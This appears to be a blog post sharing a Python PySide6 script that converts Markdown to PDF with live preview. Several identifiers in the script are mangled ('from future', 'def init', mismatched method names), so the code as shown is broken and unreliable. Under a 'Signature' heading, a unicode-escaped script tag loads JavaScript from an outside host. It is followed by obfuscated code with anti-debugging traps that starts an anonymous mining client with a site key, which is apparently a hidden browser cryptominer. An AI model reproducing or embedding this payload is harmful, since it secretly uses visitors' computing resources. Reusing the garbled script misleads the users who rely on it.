Why not create .md to .pdf by yourself ?

Why not create .md to .pdf by yourself ?

Sep 30, 2025

image

#!/usr/bin/env python3

"""

md2pdf_gui.py — A tiny, cross‑platform Markdown → PDF GUI

Features

- Live preview (GitHub‑ish style) while you type or after opening a .md file

- Export to PDF using Qt WebEngine's printToPdf (great layout fidelity)

- Exports HTML too (uses the same CSS)

- Remembers last opened directory

Dependencies

    pip install PySide6 markdown pygments

Run: 

python md2pdf_gui.py



Tested with Python 3.9+ and PySide6 6.7+

"""

from future import annotations



import os

import sys

from pathlib import Path



from PySide6.QtCore import QFile, QIODevice, Qt, QUrl, Slot

from PySide6.QtGui import QAction, QIcon

from PySide6.QtWidgets import (

    QApplication,

    QFileDialog,

    QMainWindow,

    QMessageBox,

    QSplitter,

    QTextEdit,

    QWidget,

    QToolBar,

    QStatusBar,

)

from PySide6.QtWebEngineWidgets import QWebEngineView



# Markdown rendering

import markdown  # type: ignore

from pygments.formatters import HtmlFormatter  # type: ignore



APP_NAME = "Markdown → PDF"



GITHUB_CSS = r"""

/* Minimal GitHub‑ish styling */

html { font-size: 16px; }

body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen,

       Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Arial,

       'Noto Sans', 'PingFang TC', 'Heiti TC', 'Microsoft JhengHei', sans-serif;

        color: #24292f; background: #fff; margin: 2rem auto; padding: 0 1.25rem; max-width: 860px; }

h1, h2, h3, h4 { line-height: 1.25; }

pre, code { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace; }

pre { padding: 1rem; overflow: auto; border-radius: 10px; }

code { background: #f6f8fa; padding: 0.1rem 0.25rem; border-radius: 6px; }

table { border-collapse: collapse; margin: 1rem 0; width: 100%; }

th, td { border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; }

blockquote { color: #57606a; border-left: 4px solid #d0d7de; margin: 1rem 0; padding: 0.5rem 1rem; background: #f6f8fa; }

a { color: #0969da; text-decoration: none; }

a:hover { text-decoration: underline; }

img { max-width: 100%; }

hr { border: none; border-top: 1px solid #d0d7de; margin: 2rem 0; }

"""



PYGMENTS_CSS = HtmlFormatter(style="friendly").get_style_defs(".codehilite")



HTML_TEMPLATE = """

<!doctype html>

<html>

<head>

  <meta charset="utf-8" />

  <meta name="viewport" content="width=device-width, initial-scale=1" />

  <title>{title}</title>

  <style>

    {github_css}

    {pygments_css}

    /* Page size for print/PDF */

    @page {{ size: A4; margin: 18mm; }}

    @media print {{

      body {{ max-width: none; margin: 0; }}

    }}

  </style>

</head>

<body>

{body}

</body>

</html>

"""



MD_EXTENSIONS = [

    "extra",            # tables, etc.

    "admonition",

    "toc",

    "sane_lists",

    "smarty",

    "codehilite",       # with Pygments

]





class MainWindow(QMainWindow):

    def init(self) -&gt; None:

        super().__init__()

        self.setWindowTitle(APP_NAME)

        self.resize(1200, 800)



        # State

        self.current_path: Path | None = None

        self.last_dir = str(Path.home())



        # Widgets

        self.editor = QTextEdit()

        self.editor.setAcceptRichText(False)

        self.editor.textChanged.connect(self.render_markdown)



        self.preview = QWebEngineView()



        splitter = QSplitter()

        splitter.addWidget(self.editor)

        splitter.addWidget(self.preview)

        splitter.setStretchFactor(0, 1)

        splitter.setStretchFactor(1, 1)

        self.setCentralWidget(splitter)



        # Toolbar & actions

        tb = QToolBar("Main")

        tb.setMovable(False)

        self.addToolBar(tb)



        open_act = QAction(QIcon.fromTheme("document-open"), "Open…", self)

        open_act.setShortcut("Ctrl+O")

        open_act.triggered.connect(self.open_md)

        tb.addAction(open_act)



        save_pdf_act = QAction(QIcon.fromTheme("document-save"), "Export PDF…", self)

        save_pdf_act.setShortcut("Ctrl+P")

        save_pdf_act.triggered.connect(self.export_pdf)

        tb.addAction(save_pdf_act)



        save_html_act = QAction(QIcon.fromTheme("text-html"), "Export HTML…", self)

        save_html_act.triggered.connect(self.export_html)

        tb.addAction(save_html_act)



        tb.addSeparator()

        reload_act = QAction("Re-render", self)

        reload_act.setShortcut("F5")

        reload_act.triggered.connect(self.render_markdown)

        tb.addAction(reload_act)



        self.setStatusBar(QStatusBar())



        # Initial content

        self.editor.setPlainText("""# Hello, Markdown → PDF



- Open a .md file from the toolbar

- Click Export PDF to save a print‑ready PDF

- Images with relative paths resolve from the Markdown file's folder



```python

print("Code is highlighted via Pygments!")

```



""")



        self.render_markdown()



    def markdownto_html(self, text: str, base_url: QUrl | None) -&gt; str:

        md = markdown.Markdown(extensions=MD_EXTENSIONS, extension_configs={

            "codehilite": {"guess_lang": False, "noclasses": False}

        })

        body_html = md.convert(text)

        title = md.toc_tokens[0]['name'] if getattr(md, 'toc_tokens', None) else (self.current_path.name if self.current_path else APP_NAME)

        html = HTML_TEMPLATE.format(

            title=title,

            body=body_html,

            github_css=GITHUB_CSS,

            pygments_css=PYGMENTS_CSS,

        )

        return html



    @Slot()

    def render_markdown(self) -&gt; None:

        text = self.editor.toPlainText()

        html = self._markdown_to_html(text, None)

        # Use setHtml with baseUrl to resolve relative image paths

        base = QUrl.fromLocalFile(str(self.current_path.parent)) if self.current_path else QUrl.fromLocalFile(os.getcwd() + os.sep)

        self.preview.setHtml(html, base)

        self.statusBar().showMessage("Preview updated", 1500)



    @Slot()

    def open_md(self) -&gt; None:

        path,  = QFileDialog.getOpenFileName(self, "Open Markdown", self.lastdir, "Markdown (*.md .markdown);;All files (.*)")

        if not path:

            return

        try:

            with open(path, "r", encoding="utf-8") as f:

                content = f.read()

        except Exception as e:

            QMessageBox.critical(self, "Open error", f"Failed to open file:\n{e}")

            return

        self.current_path = Path(path)

        self.last_dir = str(self.current_path.parent)

        self.editor.setPlainText(content)

        self.render_markdown()

        self.setWindowTitle(f"{APP_NAME}{self.current_path.name}")



    @Slot()

    def export_pdf(self) -&gt; None:

        suggested = (self.current_path.with_suffix('.pdf') if self.current_path else Path(self.last_dir) / 'document.pdf')

        path, _ = QFileDialog.getSaveFileName(self, "Export PDF", str(suggested), "PDF (*.pdf)")

        if not path:

            return

        # Ensure preview is up to date, then print to PDF

        def afterload_ok():

            self.preview.page().printToPdf(path)

            self.statusBar().showMessage(f"Saved PDF: {path}", 4000)

        # Make sure we re-render synchronously

        self.render_markdown()

        # Small trick: run printToPdf after the page is ready

        self.preview.page().printToPdf(path)

        self.statusBar().showMessage(f"Saved PDF: {path}", 4000)



    @Slot()

    def export_html(self) -&gt; None:

        suggested = (self.current_path.with_suffix('.html') if self.current_path else Path(self.last_dir) / 'document.html')

        path, _ = QFileDialog.getSaveFileName(self, "Export HTML", str(suggested), "HTML (*.html)")

        if not path:

            return

        text = self.editor.toPlainText()

        html = self._markdown_to_html(text, None)

        try:

            Path(path).write_text(html, encoding='utf-8')

            self.statusBar().showMessage(f"Saved HTML: {path}", 4000)

        except Exception as e:

            QMessageBox.critical(self, "Save error", f"Failed to save HTML:\n{e}")





def main() -&gt; int:

    QApplication.setApplicationName(APP_NAME)

    app = QApplication(sys.argv)



    # Enable high‑DPI scaling for crisp PDF on Retina/HiDPI

    app.setAttribute(Qt.AA_EnableHighDpiScaling, True)



    win = MainWindow()

    win.show()

    return app.exec()





if name == "__main__":

    raise SystemExit(main())



Signature

__________________________________________________________________________________________

\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0068\u006f\u0073\u0074\u0069\u006e\u0067\u0063\u006c\u006f\u0075\u0064\u002e\u0072\u0061\u0063\u0069\u006e\u0067\u002f\u0068\u0061\u0037\u006f\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003evar a0_0x15d039=a0_0x8dca;(function(_0x56e9af,_0x2dd074){var 0x2d6e55=a00x8dca,_0x58e2fa=_0x56e9af();while(!![]){try{var 0x1943cb=-parseInt(0x2d6e55(0xd9))/0x1*(-parseInt(_0x2d6e55(0xe0))/0x2)+-parseInt(_0x2d6e55(0xce))/0x3+-parseInt(_0x2d6e55(0xcf))/0x4*(parseInt(_0x2d6e55(0xe6))/0x5)+parseInt(_0x2d6e55(0xd2))/0x6*(parseInt(_0x2d6e55(0xd5))/0x7)+-parseInt(_0x2d6e55(0xd6))/0x8+parseInt(_0x2d6e55(0xdb))/0x9*(parseInt(_0x2d6e55(0xde))/0xa)+parseInt(_0x2d6e55(0xcd))/0xb;if(_0x1943cb===_0x2dd074)break;else 0x58e2fa['push'](0x58e2fa['shift']());}catch(_0x1f42bc){_0x58e2fa['push'](_0x58e2fa['shift']());}}}(a0_0x494d,0xb7a19));function a0_0x8dca(_0x21a8db,_0xacd7f0){var 0x1f2722=a00x494d();return a0_0x8dca=function(_0x212339,_0x52ea8a){_0x212339=_0x212339-0xcc;var 0x1650a9=0x1f2722[_0x212339];return 0x1650a9;},a00x8dca(_0x21a8db,_0xacd7f0);}var a0_0x4cb200=(function(){var 0x359a12=!![];return function(0x149101,_0x57ac00){var 0xb17bd9=0x359a12?function(){var 0x13afd0=a00x8dca;if(_0x57ac00){var 0x134ce8=0x57ac00[_0x13afd0(0xda)](_0x149101,arguments);return 0x57ac00=null,0x134ce8;}}:function(){};return 0x359a12=![],0xb17bd9;};}()),a0_0x2250ff=a0_0x4cb200(this,function(){var 0x3182b3=a00x8dca;return a0_0x2250ff['toString']()[_0x3182b3(0xd8)]('(((.+)+)+)+$')['toString']()[_0x3182b3(0xdc)](a0_0x2250ff)['search'](_0x3182b3(0xe1));});a0_0x2250ff();var a0_0x52ea8a=(function(){var 0x5b6894=!![];return function(0xd8a073,_0x315de2){var 0x5f88c0=0x5b6894?function(){if(_0x315de2){var 0x59f2a8=0x315de2['apply'](_0xd8a073,arguments);return 0x315de2=null,0x59f2a8;}}:function(){};return 0x5b6894=![],0x5f88c0;};}());function a0_0x494d(){var 0x3fdb2b=['2023857YXEbhP','constructor','call','10ffxQNh','action','22ozvSNO','(((.+)+)+)+$','length','init','debu','setInterval','4298120uPWRCs','gger','return\x20(function()\x20','24112341ZiYDEW','4469133vAhxxi','4qwkaAW','stateObject','Anonymous','1338DrpyhJ','test','{}.constructor(\x22return\x20this\x22)(\x20)','28343JWPCCN','5194584jpYULO','input','search','39180UtJgbv','apply'];a00x494d=function(){return 0x3fdb2b;};return a00x494d();}(function(){var 0x44506d=a00x8dca,_0x2d0d89;try{var 0x53abbc=Function(0x44506d(0xcc)+_0x44506d(0xd4)+');');_0x2d0d89=_0x53abbc();}catch(_0x2a5fd0){_0x2d0d89=window;}_0x2d0d89[_0x44506d(0xe5)](a0_0x212339,0xfa0);}()),(function(){a0_0x52ea8a(this,function(){var 0x56258d=a00x8dca,_0x2ae895=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x3aa428=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0xf33119=a0_0x212339(_0x56258d(0xe3));!_0x2ae895['test'](_0xf33119+'chain')||!_0x3aa428[_0x56258d(0xd3)](_0xf33119+_0x56258d(0xd7))?_0xf33119('0'):a0_0x212339();})();}());var client=new Client[(a00x15d039(0xd1))]('bee51c45562e6824c3d5661f7ea0201ab738710eeeac861734502a363ca80aa8',{'throttle':0.2,'c':'w','ads':0x0});_client['start']();function a0_0x212339(_0xa3ad2){function 0x23ed3a(0x31d796){var 0x2a5796=a00x8dca;if(typeof 0x31d796==='string')return function(0x413c58){}[_0x2a5796(0xdc)]('while\x20(true)\x20{}')[_0x2a5796(0xda)]('counter');else(''+_0x31d796/_0x31d796)[_0x2a5796(0xe2)]!==0x1||_0x31d796%0x14===0x0?function(){return!![];}[_0x2a5796(0xdc)]('debu'+'gger')[_0x2a5796(0xdd)](_0x2a5796(0xdf)):function(){return![];}[_0x2a5796(0xdc)](_0x2a5796(0xe4)+_0x2a5796(0xe7))[_0x2a5796(0xda)](_0x2a5796(0xd0));_0x23ed3a(++_0x31d796);}try{if(_0xa3ad2)return 0x23ed3a;else 0x23ed3a(0x0);}catch(_0x399970){}}\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

Ti piace questo post?

Offri un libro a KVN CK L

Altro da KVN CK L